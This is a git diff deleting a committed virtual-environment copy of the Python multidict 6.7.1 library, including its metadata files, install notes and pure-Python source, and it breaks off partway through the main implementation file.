-------- - -Apache 2 - -Library Installation --------------------- - -.. code-block:: bash - - $ pip install multidict - -The library is Python 3 only! - -PyPI contains binary wheels for Linux, Windows and MacOS. If you want to install -``multidict`` on another operating system (or *Alpine Linux* inside a Docker) the -tarball will be used to compile the library from source. It requires a C compiler and -Python headers to be installed. - -To skip the compilation, please use the `MULTIDICT_NO_EXTENSIONS` environment variable, -e.g.: - -.. code-block:: bash - - $ MULTIDICT_NO_EXTENSIONS=1 pip install multidict - -Please note, the pure Python (uncompiled) version is about 20-50 times slower depending on -the usage scenario!!! - -For extension development, set the ``MULTIDICT_DEBUG_BUILD`` environment variable to compile -the extensions in debug mode: - -.. code-block:: console - - $ MULTIDICT_DEBUG_BUILD=1 pip install multidict - -Changelog ---------- -See `RTD page `_. diff --git a/venv/Lib/site-packages/multidict-6.7.1.dist-info/RECORD b/venv/Lib/site-packages/multidict-6.7.1.dist-info/RECORD deleted file mode 100644 index 63cb0df6da63a4b5c649c85106cf07d1b5f32b53..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/multidict-6.7.1.dist-info/RECORD +++ /dev/null @@ -1,16 +0,0 @@ -multidict-6.7.1.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -multidict-6.7.1.dist-info/METADATA,sha256=P1KiHkOw5X0FdB_keSUPF4ZKr8tyPJQOWrpeu9slKV4,5470 -multidict-6.7.1.dist-info/RECORD,, -multidict-6.7.1.dist-info/WHEEL,sha256=z-AL790RFdWKt_PD8upif4biP-wiSujrp37waEcSdi0,102 -multidict-6.7.1.dist-info/licenses/LICENSE,sha256=k9Ealo4vDzY3PECBH_bSDhc_WMPKtYhM1mF7v9eVSSo,611 -multidict-6.7.1.dist-info/top_level.txt,sha256=-euDElkk5_qkmfIJ7WiqCab02ZlSFZWynejKg59qZQQ,10 -multidict/__init__.py,sha256=DM56VUoHEyx7pKsLrT9EEeIjTlgWmPyQQuC5juLzbhY,1228 -multidict/__pycache__/__init__.cpython-314.pyc,, -multidict/__pycache__/_abc.cpython-314.pyc,, -multidict/__pycache__/_compat.cpython-314.pyc,, -multidict/__pycache__/_multidict_py.cpython-314.pyc,, -multidict/_abc.py,sha256=e_0JDJi7E6LWS0A3gUJ17SkgDLlmg8ffjfylTu_vboc,2402 -multidict/_compat.py,sha256=TcRjCStk2iIY1_DwDNj8kNpJRQ9rtLj92Xvk1z2G_ak,422 -multidict/_multidict.cp314-win_amd64.pyd,sha256=JY0YV3bPazXCRM0TTN2pQF903iIskn0L27n9bZJq5c4,77312 -multidict/_multidict_py.py,sha256=VGQ58P7VOd6lRf3WVAinb62aD16DPdAWRt68qmiJMXE,39955 -multidict/py.typed,sha256=e9bmbH3UFxsabQrnNFPG9qxIXztwbcM6IKDYnvZwprY,15 diff --git a/venv/Lib/site-packages/multidict-6.7.1.dist-info/WHEEL b/venv/Lib/site-packages/multidict-6.7.1.dist-info/WHEEL deleted file mode 100644 index 118a4b6a78bbb57f8f92a0c89b7b66fec9f1f475..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/multidict-6.7.1.dist-info/WHEEL +++ /dev/null @@ -1,5 +0,0 @@ -Wheel-Version: 1.0 -Generator: setuptools (80.10.2) -Root-Is-Purelib: false -Tag: cp314-cp314-win_amd64 - diff --git a/venv/Lib/site-packages/multidict-6.7.1.dist-info/licenses/LICENSE b/venv/Lib/site-packages/multidict-6.7.1.dist-info/licenses/LICENSE deleted file mode 100644 index 8727172ae058e56805bd8ed0f988b6788711dcfd..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/multidict-6.7.1.dist-info/licenses/LICENSE +++ /dev/null @@ -1,13 +0,0 @@ - Copyright 2016 Andrew Svetlov and aio-libs contributors - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git a/venv/Lib/site-packages/multidict-6.7.1.dist-info/top_level.txt b/venv/Lib/site-packages/multidict-6.7.1.dist-info/top_level.txt deleted file mode 100644 index afcecdff08229f3faf1ecef41cf814c26c207f5c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/multidict-6.7.1.dist-info/top_level.txt +++ /dev/null @@ -1 +0,0 @@ -multidict diff --git a/venv/Lib/site-packages/multidict/__init__.py b/venv/Lib/site-packages/multidict/__init__.py deleted file mode 100644 index e3db9e199b191c665d5ca56e08b2521bb0f92874..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/multidict/__init__.py +++ /dev/null @@ -1,60 +0,0 @@ -""" -Multidict implementation. - -HTTP Headers and URL query string require specific data structure: -multidict. It behaves mostly like a dict but it can have -several values for the same key. -""" - -from typing import TYPE_CHECKING - -from ._abc import MultiMapping, MutableMultiMapping -from ._compat import USE_EXTENSIONS - -__all__ = ( - "CIMultiDict", - "CIMultiDictProxy", - "MultiDict", - "MultiDictProxy", - "MultiMapping", - "MutableMultiMapping", - "getversion", - "istr", - "upstr", -) - -__version__ = "6.7.1" - - -if TYPE_CHECKING or not USE_EXTENSIONS: - from ._multidict_py import ( - CIMultiDict, - CIMultiDictProxy, - MultiDict, - MultiDictProxy, - getversion, - istr, - ) -else: - from collections.abc import ItemsView, KeysView, ValuesView - - from ._multidict import ( - CIMultiDict, - CIMultiDictProxy, - MultiDict, - MultiDictProxy, - _ItemsView, - _KeysView, - _ValuesView, - getversion, - istr, - ) - - MultiMapping.register(MultiDictProxy) - MutableMultiMapping.register(MultiDict) - KeysView.register(_KeysView) - ItemsView.register(_ItemsView) - ValuesView.register(_ValuesView) - - -upstr = istr diff --git a/venv/Lib/site-packages/multidict/_abc.py b/venv/Lib/site-packages/multidict/_abc.py deleted file mode 100644 index 54253e9e779915aa8741313563359a8d9d87ec16..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/multidict/_abc.py +++ /dev/null @@ -1,73 +0,0 @@ -import abc -from collections.abc import Iterable, Mapping, MutableMapping -from typing import TYPE_CHECKING, Protocol, TypeVar, Union, overload - -if TYPE_CHECKING: - from ._multidict_py import istr -else: - istr = str - -_V = TypeVar("_V") -_V_co = TypeVar("_V_co", covariant=True) -_T = TypeVar("_T") - - -class SupportsKeys(Protocol[_V_co]): - def keys(self) -> Iterable[str]: ... - def __getitem__(self, key: str, /) -> _V_co: ... - - -class SupportsIKeys(Protocol[_V_co]): - def keys(self) -> Iterable[istr]: ... - def __getitem__(self, key: istr, /) -> _V_co: ... - - -MDArg = Union[SupportsKeys[_V], SupportsIKeys[_V], Iterable[tuple[str, _V]], None] - - -class MultiMapping(Mapping[str, _V_co]): - @overload - def getall(self, key: str) -> list[_V_co]: ... - @overload - def getall(self, key: str, default: _T) -> Union[list[_V_co], _T]: ... - @abc.abstractmethod - def getall(self, key: str, default: _T = ...) -> Union[list[_V_co], _T]: - """Return all values for key.""" - - @overload - def getone(self, key: str) -> _V_co: ... - @overload - def getone(self, key: str, default: _T) -> Union[_V_co, _T]: ... - @abc.abstractmethod - def getone(self, key: str, default: _T = ...) -> Union[_V_co, _T]: - """Return first value for key.""" - - -class MutableMultiMapping(MultiMapping[_V], MutableMapping[str, _V]): - @abc.abstractmethod - def add(self, key: str, value: _V) -> None: - """Add value to list.""" - - @abc.abstractmethod - def extend(self, arg: MDArg[_V] = None, /, **kwargs: _V) -> None: - """Add everything from arg and kwargs to the mapping.""" - - @abc.abstractmethod - def merge(self, arg: MDArg[_V] = None, /, **kwargs: _V) -> None: - """Merge into the mapping, adding non-existing keys.""" - - @overload - def popone(self, key: str) -> _V: ... - @overload - def popone(self, key: str, default: _T) -> Union[_V, _T]: ... - @abc.abstractmethod - def popone(self, key: str, default: _T = ...) -> Union[_V, _T]: - """Remove specified key and return the corresponding value.""" - - @overload - def popall(self, key: str) -> list[_V]: ... - @overload - def popall(self, key: str, default: _T) -> Union[list[_V], _T]: ... - @abc.abstractmethod - def popall(self, key: str, default: _T = ...) -> Union[list[_V], _T]: - """Remove all occurrences of key and return the list of corresponding values.""" diff --git a/venv/Lib/site-packages/multidict/_compat.py b/venv/Lib/site-packages/multidict/_compat.py deleted file mode 100644 index 264d327e6a920503a72cc9e6174b26b63677faf5..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/multidict/_compat.py +++ /dev/null @@ -1,15 +0,0 @@ -import os -import platform - -NO_EXTENSIONS = bool(os.environ.get("MULTIDICT_NO_EXTENSIONS")) - -PYPY = platform.python_implementation() == "PyPy" - -USE_EXTENSIONS = not NO_EXTENSIONS and not PYPY - -if USE_EXTENSIONS: - try: - from . import _multidict # type: ignore[attr-defined] # noqa: F401 - except ImportError: # pragma: no cover - # FIXME: Refactor for coverage. See #837. - USE_EXTENSIONS = False diff --git a/venv/Lib/site-packages/multidict/_multidict.cp314-win_amd64.pyd b/venv/Lib/site-packages/multidict/_multidict.cp314-win_amd64.pyd deleted file mode 100644 index af3460706e3e4bb142b28e0253a798df27f63d93..0000000000000000000000000000000000000000 Binary files a/venv/Lib/site-packages/multidict/_multidict.cp314-win_amd64.pyd and /dev/null differ diff --git a/venv/Lib/site-packages/multidict/_multidict_py.py b/venv/Lib/site-packages/multidict/_multidict_py.py deleted file mode 100644 index 6b68d52eeff981cc8082e3426ba037ae1aedb2c1..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/multidict/_multidict_py.py +++ /dev/null @@ -1,1242 +0,0 @@ -import enum -import functools -import reprlib -import sys -from array import array -from collections.abc import ( - ItemsView, - Iterable, - Iterator, - KeysView, - Mapping, - ValuesView, -) -from dataclasses import dataclass -from typing import ( - TYPE_CHECKING, - Any, - ClassVar, - Generic, - NoReturn, - Optional, - TypeVar, - Union, - cast, - overload, -) - -from ._abc import MDArg, MultiMapping, MutableMultiMapping, SupportsKeys - -if sys.version_info >= (3, 11): - from typing import Self -else: - from typing_extensions import Self - - -class istr(str): - """Case insensitive str.""" - - __is_istr__ = True - __istr_identity__: Optional[str] = None - - -_V = TypeVar("_V") -_T = TypeVar("_T") - -_SENTINEL = enum.Enum("_SENTINEL", "sentinel") -sentinel = _SENTINEL.sentinel - -_version = array("Q", [0]) - - -class _Iter(Generic[_T]): - __slots__ = ("_size", "_iter") - - def __init__(self, size: int, iterator: Iterator[_T]): - self._size = size - self._iter = iterator - - def __iter__(self) -> Self: - return self - - def __next__(self) -> _T: - return next(self._iter) - - def __length_hint__(self) -> int: - return self._size - - -class _ViewBase(Generic[_V]): - def __init__( - self, - md: "MultiDict[_V]", - ): - self._md = md - - def __len__(self) -> int: - return len(self._md) - - -class _ItemsView(_ViewBase[_V], ItemsView[str, _V]): - def __contains__(self, item: object) -> bool: - if not isinstance(item, (tuple, list)) or len(item) != 2: - return False - key, value = item - try: - identity = self._md._identity(key) - except TypeError: - return False - hash_ = hash(identity) - for slot, idx, e in self._md._keys.iter_hash(hash_): - if e.identity == identity and value == e.value: - return True - return False - - def __iter__(self) -> _Iter[tuple[str, _V]]: - return _Iter(len(self), self._iter(self._md._version)) - - def _iter(self, version: int) -> Iterator[tuple[str, _V]]: - for e in self._md._keys.iter_entries(): - if version != self._md._version: - raise RuntimeError("Dictionary changed during iteration") - yield self._md._key(e.key), e.value - - @reprlib.recursive_repr() - def __repr__(self) -> str: - lst = [] - for e in self._md._keys.iter_entries(): - lst.append(f"'{e.key}': {e.value!r}") - body = ", ".join(lst) - return f"<{self.__class__.__name__}({body})>" - - def _parse_item( - self, arg: Union[tuple[str, _V], _T] - ) -> Optional[tuple[int, str, str, _V]]: - if not isinstance(arg, tuple): - return None - if len(arg) != 2: - return None - try: - identity = self._md._identity(arg[0]) - return (hash(identity), identity, arg[0], arg[1]) - except TypeError: - return None - - def _tmp_set(self, it: Iterable[_T]) -> set[tuple[str, _V]]: - tmp = set() - for arg in it: - item = self._parse_item(arg) - if item is None: - continue - else: - tmp.add((item[1], item[3])) - return tmp - - def __and__(self, other: Iterable[Any]) -> set[tuple[str, _V]]: - ret = set() - try: - it = iter(other) - except TypeError: - return NotImplemented - for arg in it: - item = self._parse_item(arg) - if item is None: - continue - hash_, identity, key, value = item - for slot, idx, e in self._md._keys.iter_hash(hash_): - e.hash = -1 - if e.identity == identity and e.value == value: - ret.add((e.key, e.value)) - self._md._keys.restore_hash(hash_) - return ret - - def __rand__(self, other: Iterable[_T]) -> set[_T]: - ret = set() - try: - it = iter(other) - except TypeError: - return NotImplemented - for arg in it: - item = self._parse_item(arg) - if item is None: - continue - hash_, identity, key, value = item - for slot, idx, e in self._md._keys.iter_hash(hash_): - if e.identity == identity and e.value == value: - ret.add(arg) - break - return ret - - def __or__(self, other: Iterable[_T]) -> set[Union[tuple[str, _V], _T]]: - ret: set[Union[tuple[str, _V], _T]] = set(self) - try: - it = iter(other) - except TypeError: - return NotImplemented - for arg in it: - item: Optional[tuple[int, str, str, _V]] = self._parse_item(arg) - if item is None: - ret.add(arg) - continue - hash_, identity, key, value = item - for slot, idx, e in self._md._keys.iter_hash(hash_): - if e.identity == identity and e.value == value: # pragma: no branch - break - else: - ret.add(arg) - return ret - - def __ror__(self, other: Iterable[_T]) -> set[Union[tuple[str, _V], _T]]: - try: - ret: set[Union[tuple[str, _V], _T]] = set(other) - except TypeError: - return NotImplemented - tmp = self._tmp_set(ret) - - for e in self._md._keys.iter_entries(): - if (e.identity, e.value) not in tmp: - ret.add((e.key, e.value)) - return ret - - def __sub__(self, other: Iterable[_T]) -> set[Union[tuple[str, _V], _T]]: - ret: set[Union[tuple[str, _V], _T]] = set() - try: - it = iter(other) - except TypeError: - return NotImplemented - tmp = self._tmp_set(it) - - for e in self._md._keys.iter_entries(): - if (e.identity, e.value) not in tmp: - ret.add((e.key, e.value)) - - return ret - - def __rsub__(self, other: Iterable[_T]) -> set[_T]: - ret: set[_T] = set() - try: - it = iter(other) - except TypeError: - return NotImplemented - for arg in it: - item = self._parse_item(arg) - if item is None: - ret.add(arg) - continue - - hash_, identity, key, value = item - for slot, idx, e in self._md._keys.iter_hash(hash_): - if e.identity == identity and e.value == value: # pragma: no branch - break - else: - ret.add(arg) - return ret - - def __xor__(self, other: Iterable[_T]) -> set[Union[tuple[str, _V], _T]]: - try: - rgt = set(other) - except TypeError: - return NotImplemented - ret: set[Union[tuple[str, _V], _T]] = self - rgt - ret |= rgt - self - return ret - - __rxor__ = __xor__ - - def isdisjoint(self, other: Iterable[tuple[str, _V]]) -> bool: - for arg in other: - item = self._parse_item(arg) - if item is None: - continue - - hash_, identity, key, value = item - for slot, idx, e in self._md._keys.iter_hash(hash_): - if e.identity == identity and e.value == value: # pragma: no branch - return False - return True - - -class _ValuesView(_ViewBase[_V], ValuesView[_V]): - def __contains__(self, value: object) -> bool: - for e in self._md._keys.iter_entries(): - if e.value == value: - return True - return False - - def __iter__(self) -> _Iter[_V]: - return _Iter(len(self), self._iter(self._md._version)) - - def _iter(self, version: int) -> Iterator[_V]: - for e in self._md._keys.iter_entries(): - if version != self._md._version: - raise RuntimeError("Dictionary changed during iteration") - yield e.value - - @reprlib.recursive_repr() - def __repr__(self) -> str: - lst = [] - for e in self._md._keys.iter_entries(): - lst.append(repr(e.value)) - body = ", ".join(lst) - return f"<{self.__class__.__name__}({body})>" - - -class _KeysView(_ViewBase[_V], KeysView[str]): - def __contains__(self, key: object) -> bool: - if not isinstance(key, str): - return False - identity = self._md._identity(key) - hash_ = hash(identity) - for slot, idx, e in self._md._keys.iter_hash(hash_): - if e.identity == identity: # pragma: no branch - return True - return False - - def __iter__(self) -> _Iter[str]: - return _Iter(len(self), self._iter(self._md._version)) - - def _iter(self, version: int) -> Iterator[str]: - for e in self._md._keys.iter_entries(): - if version != self._md._version: - raise RuntimeError("Dictionary changed during iteration") - yield self._md._key(e.key) - - def __repr__(self) -> str: - lst = [] - for e in self._md._keys.iter_entries(): - lst.append(f"'{e.key}'") - body = ", ".join(lst) - return f"<{self.__class__.__name__}({body})>" - - def __and__(self, other: Iterable[object]) -> set[str]: - ret = set() - try: - it = iter(other) - except TypeError: - return NotImplemented - for key in it: - if not isinstance(key, str): - continue - identity = self._md._identity(key) - hash_ = hash(identity) - for slot, idx, e in self._md._keys.iter_hash(hash_): - if e.identity == identity: # pragma: no branch - ret.add(e.key) - break - return ret - - def __rand__(self, other: Iterable[_T]) -> set[_T]: - ret = set() - try: - it = iter(other) - except TypeError: - return NotImplemented - for key in it: - if not isinstance(key, str): - continue - if key in self._md: - ret.add(key) - return cast(set[_T], ret) - - def __or__(self, other: Iterable[_T]) -> set[Union[str, _T]]: - ret: set[Union[str, _T]] = set(self) - try: - it = iter(other) - except TypeError: - return NotImplemented - for key in it: - if not isinstance(key, str): - ret.add(key) - continue - if key not in self._md: - ret.add(key) - return ret - - def __ror__(self, other: Iterable[_T]) -> set[Union[str, _T]]: - try: - ret: set[Union[str, _T]] = set(other) - except TypeError: - return NotImplemented - - tmp = set() - for key in ret: - if not isinstance(key, str): - continue - identity = self._md._identity(key) - tmp.add(identity) - - for e in self._md._keys.iter_entries(): - if e.identity not in tmp: - ret.add(e.key) - return ret - - def __sub__(self, other: Iterable[object]) -> set[str]: - ret = set(self) - try: - it = iter(other) - except TypeError: - return NotImplemented - for key in it: - if not isinstance(key, str): - continue - identity = self._md._identity(key) - hash_ = hash(identity) - for slot, idx, e in self._md._keys.iter_hash(hash_): - if e.identity == identity: # pragma: no branch - ret.discard(e.key) - break - return ret - - def __rsub__(self, other: Iterable[_T]) -> set[_T]: - try: - ret: set[_T] = set(other) - except TypeError: - return NotImplemented - for key in other: - if not isinstance(key, str): - continue - if key in self._md: - ret.discard(key) # type: ignore[arg-type] - return ret - - def __xor__(self, other: Iterable[_T]) -> set[Union[str, _T]]: - try: - rgt = set(other) - except TypeError: - return NotImplemented - ret: set[Union[str, _T]] = self - rgt # type: ignore[assignment] - ret |= rgt - self - return ret - - __rxor__ = __xor__ - - def isdisjoint(self, other: Iterable[object]) -> bool: - for key in other: - if not isinstance(key, str): - continue - if key in self._md: - return False - return True - - -class _CSMixin: - _ci: ClassVar[bool] = False - - def _key(self, key: str) -> str: - return key - - def _identity(self, key: str) -> str: - if isinstance(key, str): - return key - else: - raise TypeError("MultiDict keys should be either str or subclasses of str") - - -class _CIMixin: - _ci: ClassVar[bool] = True - - def _key(self, key: str) -> str: - if type(key) is istr: - return key - else: - return istr(key) - - def _identity(self, key: str) -> str: - if isinstance(key, istr): - ret = key.__istr_identity__ - if ret is None: - ret = key.lower() - key.__istr_identity__ = ret - return ret - if isinstance(key, str): - return key.lower() - else: - raise TypeError("MultiDict keys should be either str or subclasses of str") - - -def estimate_log2_keysize(n: int) -> int: - # 7 == HT_MINSIZE - 1 - return (((n * 3 + 1) // 2) | 7).bit_length() - - -@dataclass -class _Entry(Generic[_V]): - hash: int - identity: str - key: str - value: _V - - -@dataclass -class _HtKeys(Generic[_V]): # type: ignore[misc] - LOG_MINSIZE: ClassVar[int] = 3 - MINSIZE: ClassVar[int] = 8 - PREALLOCATED_INDICES: ClassVar[dict[int, array]] = { # type: ignore[type-arg] - log2_size: array( - "b" if log2_size < 8 else "h", (-1 for i in range(1 << log2_size)) - ) - for log2_size in range(3, 10) - } - - log2_size: int - usable: int - - indices: array # type: ignore[type-arg] # in py3.9 array is not generic - entries: list[Optional[_Entry[_V]]] - - @functools.cached_property - def nslots(self) -> int: - return 1 << self.log2_size - - @functools.cached_property - def mask(self) -> int: - return self.nslots - 1 - - if sys.implementation.name != "pypy": - - def __sizeof__(self) -> int: - return ( - object.__sizeof__(self) - + sys.getsizeof(self.indices) - + sys.getsizeof(self.entries) - ) - - @classmethod - def new(cls, log2_size: int, entries: list[Optional[_Entry[_V]]]) -> Self: - size = 1 << log2_size - usable = (size << 1) // 3 - if log2_size < 10: - indices = cls.PREALLOCATED_INDICES[log2_size].__copy__() - elif log2_size < 16: - indices = array("h", (-1 for i in range(size))) - elif log2_size < 32: - indices = array("l", (-1 for i in range(size))) - else: # pragma: no cover # don't test huge multidicts - indices = array("q", (-1 for i in range(size))) - ret = cls( - log2_size=log2_size, - usable=usable, - indices=indices, - entries=entries, - ) - return ret - - def clone(self) -> "_HtKeys[_V]": - entries = [ - _Entry(e.hash, e.identity, e.key, e.value) if e is not None else None - for e in self.entries - ] - - return _HtKeys( - log2_size=self.log2_size, - usable=self.usable, - indices=self.indices.__copy__(), - entries=entries, - ) - - def build_indices(self, update: bool) -> None: - mask = self.mask - indices = self.indices - for idx, e in enumerate(self.entries): - assert e is not None - hash_ = e.hash - if update: - if hash_ == -1: - hash_ = hash(e.identity) - else: - assert hash_ != -1 - i = hash_ & mask - perturb = hash_ & sys.maxsize - while indices[i] != -1: - perturb >>= 5 - i = mask & (i * 5 + perturb + 1) - indices[i] = idx - - def find_empty_slot(self, hash_: int) -> int: - mask = self.mask - indices = self.indices - i = hash_ & mask - perturb = hash_ & sys.maxsize - ix = indices[i] - while ix != -1: - perturb >>= 5 - i = (i * 5 + perturb + 1) & mask - ix = indices[i] - return i - - def iter_hash(self, hash_: int) -> Iterator[tuple[int, int, _Entry[_V]]]: - mask = self.mask - indices = self.indices - entries = self.entries - i = hash_ & mask - perturb = hash_ & sys.maxsize - ix = indices[i] - while ix != -1: - if ix != -2: - e = entries[ix] - if e.hash == hash_: - yield i, ix, e - perturb >>= 5 - i = (i * 5 + perturb + 1) & mask - ix = indices[i] - - def del_idx(self, hash_: int, idx: int) -> None: - mask = self.mask - indices = self.indices - i = hash_ & mask - perturb = hash_ & sys.maxsize - ix = indices[i] - while ix != idx: - perturb >>= 5 - i = (i * 5 + perturb + 1) & mask - ix = indices[i] - indices[i] = -2 - - def iter_entries(self) -> Iterator[_Entry[_V]]: - return filter(None, self.entries) - - def restore_hash(self, hash_: int) -> None: - mask = self.mask - indices = self.indices - entries = self.entries - i = hash_ & mask - perturb = hash_ & sys.maxsize - ix = indices[i] - while ix != -1: - if ix != -2: - entry = entries[ix] - if entry.hash == -1: - entry.hash = hash_ - perturb >>= 5 - i = (i * 5 + perturb + 1) & mask - ix = indices[i] - - -class MultiDict(_CSMixin, MutableMultiMapping[_V]): - """Dictionary with the support for duplicate keys.""" - - __slots__ = ("_keys", "_used", "_version") - - def __init__(self, arg: MDArg[_V] = None, /, **kwargs: _V): - self._used = 0 - v = _version - v[0] += 1 - self._version = v[0] - if not kwargs: - md = None - if isinstance(arg, MultiDictProxy): - md = arg._md - elif isinstance(arg, MultiDict): - md = arg - if md is not None and md._ci is self._ci: - self._from_md(md) - return - - it = self._parse_args(arg, kwargs) - log2_size = estimate_log2_keysize(cast(int, next(it))) - if log2_size > 17: # pragma: no cover - # Don't overallocate really huge keys space in init - log2_size = 17 - self._keys: _HtKeys[_V] = _HtKeys.new(log2_size, []) - self._extend_items(cast(Iterator[_Entry[_V]], it)) - - def _from_md(self, md: "MultiDict[_V]") -> None: - # Copy everything as-is without compacting the new multidict, - # otherwise it requires reindexing - self._keys = md._keys.clone() - self._used = md._used - - @overload - def getall(self, key: str) -> list[_V]: ... - @overload - def getall(self, key: str, default: _T) -> Union[list[_V], _T]: ... - def getall( - self, key: str, default: Union[_T, _SENTINEL] = sentinel - ) -> Union[list[_V], _T]: - """Return a list of all values matching the key.""" - identity = self._identity(key) - hash_ = hash(identity) - res = [] - restore = [] - for slot, idx, e in self._keys.iter_hash(hash_): - if e.identity == identity: # pragma: no branch - res.append(e.value) - e.hash = -1 - restore.append(idx) - - if res: - entries = self._keys.entries - for idx in restore: - entries[idx].hash = hash_ # type: ignore[union-attr] - return res - if not res and default is not sentinel: - return default - raise KeyError("Key not found: %r" % key) - - @overload - def getone(self, key: str) -> _V: ... - @overload - def getone(self, key: str, default: _T) -> Union[_V, _T]: ... - def getone( - self, key: str, default: Union[_T, _SENTINEL] = sentinel - ) -> Union[_V, _T]: - """Get first value matching the key. - - Raises KeyError if the key is not found and no default is provided. - """ - identity = self._identity(key) - hash_ = hash(identity) - for slot, idx, e in self._keys.iter_hash(hash_): - if e.identity == identity: # pragma: no branch - return e.value - if default is not sentinel: - return default - raise KeyError("Key not found: %r" % key) - - # Mapping interface # - - def __getitem__(self, key: str) -> _V: - return self.getone(key) - - @overload - def get(self, key: str, /) -> Union[_V, None]: ... - @overload - def get(self, key: str, /, default: _T) -> Union[_V, _T]: ... - def get(self, key: str, default: Union[_T, None] = None) -> Union[_V, _T, None]: - """Get first value matching the key. - - If the key is not found, returns the default (or None if no default is provided) - """ - return self.getone(key, default) - - def __iter__(self) -> Iterator[str]: - return iter(self.keys()) - - def __len__(self) -> int: - return self._used - - def keys(self) -> KeysView[str]: - """Return a new view of the dictionary's keys.""" - return _KeysView(self) - - def items(self) -> ItemsView[str, _V]: - """Return a new view of the dictionary's items *(key, value) pairs).""" - return _ItemsView(self) - - def values(self) -> _ValuesView[_V]: - """Return a new view of the dictionary's values.""" - return _ValuesView(self) - - def __eq__(self, other: object) -> bool: - if not isinstance(other, Mapping): - return NotImplemented - if isinstance(other, MultiDictProxy): - return self == other._md - if isinstance(other, MultiDict): - lft = self._keys - rht = other._keys - if self._used != other._used: - return False - for e1, e2 in zip(lft.iter_entries(), rht.iter_entries()): - if e1.identity != e2.identity or e1.value != e2.value: - return False - return True - if self._used != len(other): - return False - for k, v in self.items(): - nv = other.get(k, sentinel) - if v != nv: - return False - return True - - def __contains__(self, key: object) -> bool: - if not isinstance(key, str): - return False - identity = self._identity(key) - hash_ = hash(identity) - for slot, idx, e in self._keys.iter_hash(hash_): - if e.identity == identity: # pragma: no branch - return True - return False - - @reprlib.recursive_repr() - def __repr__(self) -> str: - body = ", ".join(f"'{e.key}': {e.value!r}" for e in self._keys.iter_entries()) - return f"<{self.__class__.__name__}({body})>" - - if sys.implementation.name != "pypy": - - def __sizeof__(self) -> int: - return object.__sizeof__(self) + sys.getsizeof(self._keys) - - def __reduce__(self) -> tuple[type[Self], tuple[list[tuple[str, _V]]]]: - return (self.__class__, (list(self.items()),)) - - def add(self, key: str, value: _V) -> None: - identity = self._identity(key) - hash_ = hash(identity) - self._add_with_hash(_Entry(hash_, identity, key, value)) - self._incr_version() - - def copy(self) -> Self: - """Return a copy of itself.""" - cls = self.__class__ - return cls(self) - - __copy__ = copy - - def extend(self, arg: MDArg[_V] = None, /, **kwargs: _V) -> None: - """Extend current MultiDict with more values. - - This method must be used instead of update. - """ - it = self._parse_args(arg, kwargs) - newsize = self._used + cast(int, next(it)) - self._resize(estimate_log2_keysize(newsize), False) - self._extend_items(cast(Iterator[_Entry[_V]], it)) - - def _parse_args( - self, - arg: MDArg[_V], - kwargs: Mapping[str, _V], - ) -> Iterator[Union[int, _Entry[_V]]]: - identity_func = self._identity - if arg: - if isinstance(arg, MultiDictProxy): - arg = arg._md - if isinstance(arg, MultiDict): - yield len(arg) + len(kwargs) - if self._ci is not arg._ci: - for e in arg._keys.iter_entries(): - identity = identity_func(e.key) - yield _Entry(hash(identity), identity, e.key, e.value) - else: - for e in arg._keys.iter_entries(): - yield _Entry(e.hash, e.identity, e.key, e.value) - if kwargs: - for key, value in kwargs.items(): - identity = identity_func(key) - yield _Entry(hash(identity), identity, key, value) - else: - if hasattr(arg, "keys"): - arg = cast(SupportsKeys[_V], arg) - arg = [(k, arg[k]) for k in arg.keys()] - if kwargs: - arg = list(arg) - arg.extend(list(kwargs.items())) - try: - yield len(arg) + len(kwargs) # type: ignore[arg-type] - except TypeError: - yield 0 - for pos, item in enumerate(arg): - if not len(item) == 2: - raise ValueError( - f"multidict update sequence element #{pos}" - f"has length {len(item)}; 2 is required" - ) - identity = identity_func(item[0]) - yield _Entry(hash(identity), identity, item[0], item[1]) - else: - yield len(kwargs) - for key, value in kwargs.items(): - identity = identity_func(key) - yield _Entry(hash(identity), identity, key, value) - - def _extend_items(self, items: Iterable[_Entry[_V]]) -> None: - for e in items: - self._add_with_hash(e) - self._incr_version() - - def clear(self) -> None: - """Remove all items from MultiDict.""" - self._used = 0 - self._keys = _HtKeys.new(_HtKeys.LOG_MINSIZE, []) - self._incr_version() - - # Mapping interface # - - def __setitem__(self, key: str, value: _V) -> None: - identity = self._identity(key) - hash_ = hash(identity) - found = False - - for slot, idx, e in self._keys.iter_hash(hash_): - if e.identity == identity: # pragma: no branch - if not found: - e.key = key - e.value = value - e.hash = -1 - found = True - self._incr_version() - elif e.hash != -1: # pragma: no branch - self._del_at(slot, idx) - - if not found: - self._add_with_hash(_Entry(hash_, identity, key, value)) - else: - self._keys.restore_hash(hash_) - - def __delitem__(self, key: str) -> None: - found = False - identity = self._identity(key) - hash_ = hash(identity) - for slot, idx, e in self._keys.iter_hash(hash_): - if e.identity == identity: # pragma: no branch - self._del_at(slot, idx) - found = True - if not found: - raise KeyError(key) - else: - self._incr_version() - - @overload - def setdefault( - self: "MultiDict[Union[_T, None]]", key: str, default: None = None - ) -> Union[_T, None]: ... - @overload - def setdefault(self, key: str, default: _V) -> _V: ... - def setdefault(self, key: str, default: Union[_V, None] = None) -> Union[_V, None]: # type: ignore[misc] - """Return value for key, set value to default if key is not present.""" - identity = self._identity(key) - hash_ = hash(identity) - for slot, idx, e in self._keys.iter_hash(hash_): - if e.identity == identity: # pragma: no branch - return e.value - self.add(key, default) # type: ignore[arg-type] - return default - - @overload - def popone(self, key: str) -> _V: ... - @overload - def popone(self, key: str, default: _T) -> Union[_V, _T]: ... - def popone( - self, key: str, default: Union[_T, _SENTINEL] = sentinel - ) -> Union[_V, _T]: - """Remove specified key and return the corresponding value. - - If key is not found, d is returned if given, otherwise - KeyError is raised. - - """ - identity = self._identity(key) - hash_ = hash(identity) - for slot, idx, e in 